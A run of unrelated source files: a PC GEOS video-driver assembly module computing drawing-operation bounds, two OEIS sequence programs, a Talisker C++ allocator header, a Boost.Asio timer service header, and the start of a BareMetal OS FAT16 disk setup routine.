COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Video Drivers FILE: vidcomExclBounds.asm AUTHOR: Jim DeFrisco, Nov 24, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 11/24/92 Initial revision DESCRIPTION: These functions calculate the bounds of the operation and stuff the result in some variables for later use. $Id: vidcomExclBounds.asm,v 1.1 97/04/18 11:41:55 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VidSegment Exclusive COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VidExclBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: High level routine called from DriverStrategy CALLED BY: INTERNAL DriverStrategy PASS: di - function number ds - video driver dgroup RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/25/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VidExclBounds proc far call cs:[exclusiveBounds][di] ; save bounds ret VidExclBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclNoBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do nothing, operation doesn't require any bounds checking CALLED BY: INTERNAL DriverStrategy PASS: nothing RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclNoBounds proc near ret ExclNoBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclRectBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Incorporate RectBounds into results CALLED BY: INTERNAL DriverStrategy PASS: ax...dx - rect bounds, sorted es - Window structure RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclRectBounds proc near uses ax, bx, cx, dx .enter if ERROR_CHECK cmp ax, cx ERROR_G UNSORTED_BOUNDS cmp bx, dx ERROR_G UNSORTED_BOUNDS endif ; limit bounds to maskRect cmp ax, es:[W_maskRect].R_left ; limit to mask rect jge haveLeft mov ax, es:[W_maskRect].R_left haveLeft: cmp bx, es:[W_maskRect].R_top ; limit to mask rect jge haveTop mov bx, es:[W_maskRect].R_top haveTop: cmp cx, es:[W_maskRect].R_right ; limit to mask rect jle haveRight mov cx, es:[W_maskRect].R_right haveRight: cmp dx, es:[W_maskRect].R_bottom ; limit to mask rect jle haveBottom mov dx, es:[W_maskRect].R_bottom haveBottom: ; If we're completely out of the mask rect, we'll just ; get out without modifying exclBound. -cbh 4/19/93 cmp ax, cx jg done cmp bx, dx jg done ; have limited coords, check bounds cmp ax, ds:[exclBound].R_left ; see if new minimum jg checkTop mov ds:[exclBound].R_left, ax checkTop: cmp bx, ds:[exclBound].R_top ; see if new minimum jg checkRight mov ds:[exclBound].R_top, bx checkRight: cmp cx, ds:[exclBound].R_right ; see if new maximum jl checkBottom mov ds:[exclBound].R_right, cx checkBottom: cmp dx, ds:[exclBound].R_bottom ; see if new minimum jl done mov ds:[exclBound].R_bottom, dx done: if ERROR_CHECK ; ; we could never have set exclBounds if we're completely ; out of the mask rect - brianc 5/2/95 ; mov ax, MAX_COORD cmp ax, ds:[exclBound].R_left jne checkIt cmp ax, ds:[exclBound].R_top jne checkIt mov ax, MIN_COORD cmp ax, ds:[exclBound].R_right jne checkIt cmp ax, ds:[exclBound].R_bottom je noCheck checkIt: mov ax, ds:[exclBound].R_left cmp ax, ds:[exclBound].R_right ERROR_G UNSORTED_BOUNDS mov ax, ds:[exclBound].R_top cmp ax, ds:[exclBound].R_bottom ERROR_G UNSORTED_BOUNDS noCheck: endif .leave ret ExclRectBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclLineBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Same as RectBounds, but coords are not yet sorted CALLED BY: INTERNAL DriverStrategy PASS: ax...dx - line endpoints RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclLineBounds proc near uses ax,bx,cx,dx .enter cmp ax, cx jl xOK xchg ax, cx xOK: cmp bx, dx jl yOK xchg bx, dx yOK: call ExclRectBounds .leave ret ExclLineBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclStringBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Determine bounds of PutString operation CALLED BY: PASS: RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclStringBounds proc near uses ax,bx,cx,dx .enter ; if there is rotation in the window, then invalidate the ; whole mask rect mov cx, es:[W_curTMatrix].TM_12.WWF_int ; check for rot or cx, es:[W_curTMatrix].TM_12.WWF_frac jnz doRotation ; no rotation. Just invalidate from the draw position ; to the right side of the maskRect mov dx, es:[W_maskRect].R_bottom ; this is eash ; if there is a negative scale factor, load the left bounds ; and swap left/right tst es:[W_curTMatrix].TM_11.WWF_int ; see if flipped in X js handleScale mov cx, es:[W_maskRect].R_right ; to save time doBounds: call ExclLineBounds .leave ret ; negative X scale factor -- use left bound handleScale: mov cx, es:[W_maskRect].R_left jmp doBounds ; there is rotation. handle it. doRotation: mov ax, es:[W_maskRect].R_left mov bx, es:[W_maskRect].R_left mov cx, es:[W_maskRect].R_left mov dx, es:[W_maskRect].R_left jmp doBounds ExclStringBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclBltBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find bounds of blt operation CALLED BY: INTERNAL DriverStrategy PASS: ax,bx - source position cx,dx - dest position si,bp - width,height RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclBltBounds proc near uses ax,bx,cx,dx .enter cmp ax, cx jl xOK xchg ax, cx xOK: cmp bx, dx jl yOK xchg bx, dx yOK: ; add in width/height to right/bottom add cx, si add dx, bp call ExclRectBounds .leave ret ExclBltBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclBitmapBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find bounds of bitmap operation CALLED BY: INTERNAL DriverStrategy PASS: ax,bx - position to draw es - Window ss:bp - pointer to PutBitsArgs struct RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclBitmapBounds proc near uses cx,dx, bp .enter mov cx, ss:[bp][-size PutBitsArgs].PBA_bm.B_width add cx, ax mov dx, ss:[bp].[-size PutBitsArgs].PBA_bm.B_height add dx, bx call ExclLineBounds .leave ret ExclBitmapBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclRegionBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get bounds of a region CALLED BY: INTERNAL DriverStrategy PASS: ax - amt to offset region in x to get screen crds bx - amt to offset region in y to get screen crds dx.cx - segment/offset to region definition ss:bp - pointer to region parameters ss:bp+0 - PARAM_0 ss:bp+2 - PARAM_1 ss:bp+4 - PARAM_2 ss:bp+6 - PARAM_3 si - offset in gstate to CommonAttr struct ds - gstate es - window RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclRegionBounds proc near uses ax,bx,cx,dx,si,di,bp .enter push ds ; save pointer to dgroup push bx ; save offsets for later push ax push bp ; save param ptr mov bp, ds ; save GState mov ds, dx ; ds -> Region mov di, cx ;ds:di = bounds mov ax, ds:[di].R_left mov bx, ds:[di].R_top mov cx, ds:[di].R_right mov dx, ds:[di].R_bottom mov ds, bp ;ds = GState pop di ; di = region param ptr test ah, 0xc0 jpe doTop call GetRegCoord doTop: test bh, 0xc0 jpe doRight xchg ax, bx call GetRegCoord xchg ax, bx doRight: test ch, 0xc0 jpe doBottom xchg ax, cx call GetRegCoord xchg ax, cx doBottom: test dh, 0xc0 jpe doneTrans xchg ax, dx call GetRegCoord xchg ax, dx doneTrans: pop di ; recover x offset add ax,di add cx,di pop di ; recover y offset add bx,di add dx,di pop ds ; restore pointer to dgroup call ExclLineBounds ; just to make sure .leave ret ExclRegionBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetRegCoord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy of TransRegCoord, for this function CALLED BY: INTERNAL ExclRegionBounds PASS: ax - coord to translate RETURN: ax - translated coord DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetRegCoord proc near uses cx, di .enter mov ch, ah mov cl, 4 shr ch, cl mov cl, ch and cx, 1110b ;bl = 4, 6, 8, a for AX, BX, CX, DX add di, cx and ah, 00011111b ;mask off top three sub ax, 1000h ;make +/- add ax, ss:[di][-4] .leave ret GetRegCoord endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclPolygonBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get bounds of polygon operation CALLED BY: INTERNAL DriverStrategy PASS: bx:dx - ptr to coord buffer cx - #points in buffer RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclPolygonBounds proc near uses ax,bx,cx,dx,si,di .enter push ds mov ds, bx mov si, dx ; ds:si -> coords ; ; Initialize ax, cx to X coordinate of first point, and bx, dx ; to Y coordinate of first point. Can't just use MAX_COORD ; and MIN_COORD because a set of points where the X (or Y) ; coordinates are monotonically decreasing will leave cx (or dx) ; at MIN_COORD, resulting in UNSORTED_BOUNDS death in ; ExclRectBounds. (6/22/95 -- jwu) ; lodsw mov di, ax mov bx, ds:[si] mov dx, bx jmp nextPoint coordLoop: cmp ax, ds:[si] ; new min ? jle checkRight mov ax, ds:[si] jmp doneX checkRight: cmp di, ds:[si] jge doneX mov di, ds:[si] doneX: add si, 2 cmp bx, ds:[si] ; do Y jle checkBottom mov bx, ds:[si] jmp nextPoint checkBottom: cmp dx, ds:[si] jge nextPoint mov dx, ds:[si] nextPoint: add si, 2 loop coordLoop mov cx, di ; copy right side over pop ds ; restore ptr to dgroup call ExclRectBounds .leave ret ExclPolygonBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclPolylineBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get bounds of polyline operation CALLED BY: INTERNAL DriverStrategy PASS: bx:si - pointer to disjoint polyline buffer RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclPolylineBounds proc near uses ax,bx,cx,dx,si .enter push ds mov ds, bx ; ds:si -> coords ; ; Initialize ax, cx to X coordinate of first point, and bx, dx ; to Y coordinate of first point. Can't just use MAX_COORD ; and MIN_COORD because a set of points where the X (or Y) ; coordinates are monotonically decreasing will leave cx (or dx) ; at MIN_COORD, resulting in UNSORTED_BOUNDS death in ; ExclRectBounds. (6/22/95 -- jwu) ; lodsw mov cx, ax mov bx, ds:[si] mov dx, bx add si, 2 coordLoop: cmp ds:[si], 8000h ; check for end je checkEnd cmp ax, ds:[si] ; new min ? jle checkRight mov ax, ds:[si] jmp doneX checkRight: cmp cx, ds:[si] jge doneX mov cx, ds:[si] doneX: add si, size sword cmp bx, ds:[si] ; do Y jle checkBottom mov bx, ds:[si] jmp nextPoint checkBottom: cmp dx, ds:[si] jge nextPoint mov dx, ds:[si] nextPoint: add si, size sword jmp coordLoop doBounds: pop ds ; restore pointer to dgroup call ExclRectBounds .leave ret checkEnd: cmp ds:[si+2], 8000h je doBounds jmp nextPoint ExclPolylineBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclDashBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get bounds of DashLine function CALLED BY: INTERNAL DriverStrategy PASS: bx:dx - pointer to DashInfo structure RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclDashBounds proc near uses bx, dx, si .enter push ds mov si, dx mov ds, bx mov ax, ds:[si].DI_pt1.P_x mov bx, ds:[si].DI_pt1.P_y mov cx, ds:[si].DI_pt2.P_x mov dx, ds:[si].DI_pt2.P_y pop ds call ExclLineBounds .leave ret ExclDashBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExclFatDashBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Same as ExclDashBounds, except handles fat lines CALLED BY: INTERNAL DriverStrategy PASS: bx:dx - DashInfo struct ax - x displacement to other side cx - y displacement to other side RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 11/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExclFatDashBounds proc near uses si,di,ax,bx,cx,dx .enter push ds mov si, dx mov ds, bx push ax, cx mov ax, ds:[si].DI_pt1.P_x mov bx, ds:[si].DI_pt1.P_y mov cx, ds:[si].DI_pt2.P_x mov dx, ds:[si].DI_pt2.P_y pop si, di cmp ax, cx jle xOK xchg ax, cx xOK: cmp bx, dx jle yOK xchg bx, dx yOK: tst si js negXOffset addXOffset: sub ax, si add cx, si tst di js negYOffset addYOffset: sub bx, di add dx, di pop ds call ExclRectBounds .leave ret negXOffset: neg si jmp addXOffset negYOffset: neg di jmp addYOffset ExclFatDashBounds endp ; table of routines to keep track of the bounds of operations that ; were aborted due to an exclusive holding. exclusiveBounds label word dw offset ExclNoBounds ; initialization dw offset ExclNoBounds ; last gasp dw offset ExclNoBounds ; suspend system dw offset ExclNoBounds ; unsuspend system dw offset ExclNoBounds ; test for device existance dw offset ExclNoBounds ; set device type dw offset ExclNoBounds ; get ptr to info block dw offset ExclNoBounds ; get exclusive dw offset ExclNoBounds ; start exclusive dw offset ExclNoBounds ; end exclusive dw offset ExclNoBounds ; get pixel color dw offset ExclNoBounds ; GetBits in another module dw offset ExclNoBounds ; set the ptr pic dw offset ExclNoBounds ; hide the cursor dw offset ExclNoBounds ; show the cursor dw offset ExclNoBounds ; move the cursor dw offset ExclNoBounds ; set save under area dw offset ExclNoBounds ; restore save under area dw offset ExclNoBounds ; nuke save under area dw offset ExclNoBounds ; request save under dw offset ExclNoBounds ; check save under dw offset ExclNoBounds ; get save under info dw offset ExclNoBounds ; check s.u. collision dw offset ExclNoBounds ; set xor region dw offset ExclNoBounds ; clear xor region dw offset ExclRectBounds ; rectangle dw offset ExclStringBounds ; char string dw offset ExclBltBounds ; BitBlt in another module dw offset ExclBitmapBounds ; PutBits in another module dw offset ExclLineBounds ; DrawLine in another module dw offset ExclRegionBounds ; draws a region dw offset ExclLineBounds ; PutLine in another module dw offset ExclPolygonBounds ; Polygon in another module dw offset ExclNoBounds ; ScreenOn in another module dw offset ExclNoBounds ; ScreenOff in another module dw offset ExclPolylineBounds ; Polyline in another module dw offset ExclDashBounds ; DashLine in another module dw offset ExclFatDashBounds ; DashFill in another module dw offset ExclNoBounds ; SetPalette dw offset ExclNoBounds ; GetPalette .assert ($-exclusiveBounds) eq VidFunction VidEnds Exclusive
; A215037: a(n) = sum(fibonomial(k+3,3), k=0..n), n>=0. ; Submitted by Jon Maiga ; 1,4,19,79,339,1431,6072,25707,108922,461362,1954426,8278978,35070483,148560678,629313573,2665814361,11292572005,47836100785,202636977730,858384007525,3636173014596,15403076054964,65248477252164 mov $5,$0 mov $7,$0 add $7,1 lpb $7 mov $0,$5 sub $7,1 sub $0,$7 add $0,1 mov $2,2 mov $4,2 lpb $0 sub $0,1 mov $3,$4 mov $4,$2 add $2,$3 lpe mul $4,$2 mov $0,$4 mul $0,$3 div $0,16 add $6,$0 lpe mov $0,$6
; A014298: a(n) = 2^n * (3n)! / (2n+1)!. ; Submitted by Jon Maiga ; 1,2,24,576,21120,1048320,65802240,5000970240,446557224960,45830873088000,5316381278208000,687893507997696000,98231192942070988800,15345895252950201139200,2603510504983275503616000,476694375041453927694336000,93692112621783944697741312000,19675343650574628386525675520000,4396641656836514256751196897280000,1041665869465881839291822034124800000,260822971120408364930971829325004800000,68820870472840774616437357570267545600000,19086321411134508160291960499487532646400000 mov $1,$0 mov $0,2 pow $0,$1 seq $1,1763 ; Number of dissections of a ball: (3n+3)!/(2n+3)!. mul $1,$0 mov $0,$1
/* Talisker * Foundation Toolkit */ /* Copyright 2012-2017 Mo McRoberts. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef TALISKER_DEFAULTALLOCATOR_HH_ # define TALISKER_DEFAULTALLOCATOR_HH_ 1 # include "IAllocator.h" # include "Object.hh" namespace Talisker { class TALISKER_EXPORT_ DefaultAllocator: virtual public IAllocator, public Object { public: static IAllocator *defaultAllocator(void); public: DefaultAllocator(); virtual ~DefaultAllocator(); virtual void *alloc(size_t nbytes); virtual void *realloc(void *ptr, size_t nbytes); virtual void free(void *ptr); virtual size_t size(void *ptr); virtual int didAlloc(void *ptr); virtual void compact(void); }; }; #endif /*!TALISKER_DEFAULTALLOCATOR_HH_*/
// // detail/deadline_timer_service.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2012 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef BOOST_ASIO_DETAIL_DEADLINE_TIMER_SERVICE_HPP #define BOOST_ASIO_DETAIL_DEADLINE_TIMER_SERVICE_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include <boost/asio/detail/config.hpp> #include <cstddef> #include <boost/asio/error.hpp> #include <boost/asio/io_service.hpp> #include <boost/asio/detail/bind_handler.hpp> #include <boost/asio/detail/fenced_block.hpp> #include <boost/asio/detail/noncopyable.hpp> #include <boost/asio/detail/socket_ops.hpp> #include <boost/asio/detail/socket_types.hpp> #include <boost/asio/detail/timer_queue.hpp> #include <boost/asio/detail/timer_scheduler.hpp> #include <boost/asio/detail/wait_handler.hpp> #include <boost/asio/detail/wait_op.hpp> #include <boost/asio/detail/push_options.hpp> namespace boost { namespace asio { namespace detail { template <typename Time_Traits> class deadline_timer_service { public: // The time type. typedef typename Time_Traits::time_type time_type; // The duration type. typedef typename Time_Traits::duration_type duration_type; // The implementation type of the timer. This type is dependent on the // underlying implementation of the timer service. struct implementation_type : private boost::asio::detail::noncopyable { time_type expiry; bool might_have_pending_waits; typename timer_queue<Time_Traits>::per_timer_data timer_data; }; // Constructor. deadline_timer_service(boost::asio::io_service& io_service) : scheduler_(boost::asio::use_service<timer_scheduler>(io_service)) { scheduler_.init_task(); scheduler_.add_timer_queue(timer_queue_); } // Destructor. ~deadline_timer_service() { scheduler_.remove_timer_queue(timer_queue_); } // Destroy all user-defined handler objects owned by the service. void shutdown_service() { } // Construct a new timer implementation. void construct(implementation_type& impl) { impl.expiry = time_type(); impl.might_have_pending_waits = false; } // Destroy a timer implementation. void destroy(implementation_type& impl) { boost::system::error_code ec; cancel(impl, ec); } // Cancel any asynchronous wait operations associated with the timer. std::size_t cancel(implementation_type& impl, boost::system::error_code& ec) { if (!impl.might_have_pending_waits) { ec = boost::system::error_code(); return 0; } BOOST_ASIO_HANDLER_OPERATION(("deadline_timer", &impl, "cancel")); std::size_t count = scheduler_.cancel_timer(timer_queue_, impl.timer_data); impl.might_have_pending_waits = false; ec = boost::system::error_code(); return count; } // Cancels one asynchronous wait operation associated with the timer. std::size_t cancel_one(implementation_type& impl, boost::system::error_code& ec) { if (!impl.might_have_pending_waits) { ec = boost::system::error_code(); return 0; } BOOST_ASIO_HANDLER_OPERATION(("deadline_timer", &impl, "cancel_one")); std::size_t count = scheduler_.cancel_timer( timer_queue_, impl.timer_data, 1); if (count == 0) impl.might_have_pending_waits = false; ec = boost::system::error_code(); return count; } // Get the expiry time for the timer as an absolute time. time_type expires_at(const implementation_type& impl) const { return impl.expiry; } // Set the expiry time for the timer as an absolute time. std::size_t expires_at(implementation_type& impl, const time_type& expiry_time, boost::system::error_code& ec) { std::size_t count = cancel(impl, ec); impl.expiry = expiry_time; ec = boost::system::error_code(); return count; } // Get the expiry time for the timer relative to now. duration_type expires_from_now(const implementation_type& impl) const { return Time_Traits::subtract(expires_at(impl), Time_Traits::now()); } // Set the expiry time for the timer relative to now. std::size_t expires_from_now(implementation_type& impl, const duration_type& expiry_time, boost::system::error_code& ec) { return expires_at(impl, Time_Traits::add(Time_Traits::now(), expiry_time), ec); } // Perform a blocking wait on the timer. void wait(implementation_type& impl, boost::system::error_code& ec) { time_type now = Time_Traits::now(); ec = boost::system::error_code(); while (Time_Traits::less_than(now, impl.expiry) && !ec) { this->do_wait(Time_Traits::to_posix_duration( Time_Traits::subtract(impl.expiry, now)), ec); now = Time_Traits::now(); } } // Start an asynchronous wait on the timer. template <typename Handler> void async_wait(implementation_type& impl, Handler handler) { // Allocate and construct an operation to wrap the handler. typedef wait_handler<Handler> op; typename op::ptr p = { boost::addressof(handler), boost_asio_handler_alloc_helpers::allocate( sizeof(op), handler), 0 }; p.p = new (p.v) op(handler); impl.might_have_pending_waits = true; BOOST_ASIO_HANDLER_CREATION((p.p, "deadline_timer", &impl, "async_wait")); scheduler_.schedule_timer(timer_queue_, impl.expiry, impl.timer_data, p.p); p.v = p.p = 0; } private: // Helper function to wait given a duration type. The duration type should // either be of type boost::posix_time::time_duration, or implement the // required subset of its interface. template <typename Duration> void do_wait(const Duration& timeout, boost::system::error_code& ec) { ::timeval tv; tv.tv_sec = timeout.total_seconds(); tv.tv_usec = timeout.total_microseconds() % 1000000; socket_ops::select(0, 0, 0, 0, &tv, ec); } // The queue of timers. timer_queue<Time_Traits> timer_queue_; // The object that schedules and executes timers. Usually a reactor. timer_scheduler& scheduler_; }; } // namespace detail } // namespace asio } // namespace boost #include <boost/asio/detail/pop_options.hpp> #endif // BOOST_ASIO_DETAIL_DEADLINE_TIMER_SERVICE_HPP
; ============================================================================= ; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems ; Copyright (C) 2008-2010 Return Infinity -- see LICENSE.TXT ; ; INIT HDD ; ============================================================================= align 16 db 'DEBUG: INIT_HDD ' align 16 hdd_setup: ; Read first sector (MBR) into memory xor rax, rax mov rdi, secbuffer0 push rdi mov rcx, 1 call readsectors pop rdi cmp byte [0x000000000000F030], 0x01 ; Did we boot from a MBR drive jne hdd_setup_no_mbr ; If not then we already have the correct sector ; Grab the partition offset value for the first partition mov eax, [rdi+0x01C6] mov [fat16_PartitionOffset], eax ; Read the first sector of the first partition mov rdi, secbuffer0 push rdi mov rcx, 1 call readsectors pop rdi hdd_setup_no_mbr: ; Get the values we need to start using fat16 mov ax, [rdi+0x0b] mov [fat16_BytesPerSector], ax ; This will probably be 512 mov al, [rdi+0x0d] mov [fat16_SectorsPerCluster], al ; This will be 128 or less (Max cluster size is 64KiB) mov ax, [rdi+0x0e] mov [fat16_ReservedSectors], ax mov [fat16_FatStart], eax mov al, [rdi+0x10] mov [fat16_Fats], al ; This will probably be 2 mov ax, [rdi+0x11] mov [fat16_RootDirEnts], ax mov ax, [rdi+0x16] mov [fat16_SectorsPerFat], ax ; Find out how many sectors are on the disk xor eax, eax mov ax, [rdi+0x13] cmp ax, 0x0000 jne lessthan65536sectors mov eax, [rdi+0x20] lessthan65536sectors: mov [fat16_TotalSectors], eax ; Calculate the size of the drive in MiB xor rax, rax mov eax, [fat16_TotalSectors] mov [hd1_maxlba], rax shr rax, 11 ; rax = rax * 512 / 1048576 mov [hd1_size], eax ; in mebibytes ; Calculate FAT16 info xor rax, rax xor rbx, rbx mov ax, [fat16_SectorsPerFat] shl ax, 1 ; quick multiply by two add ax, [fat16_ReservedSectors] mov 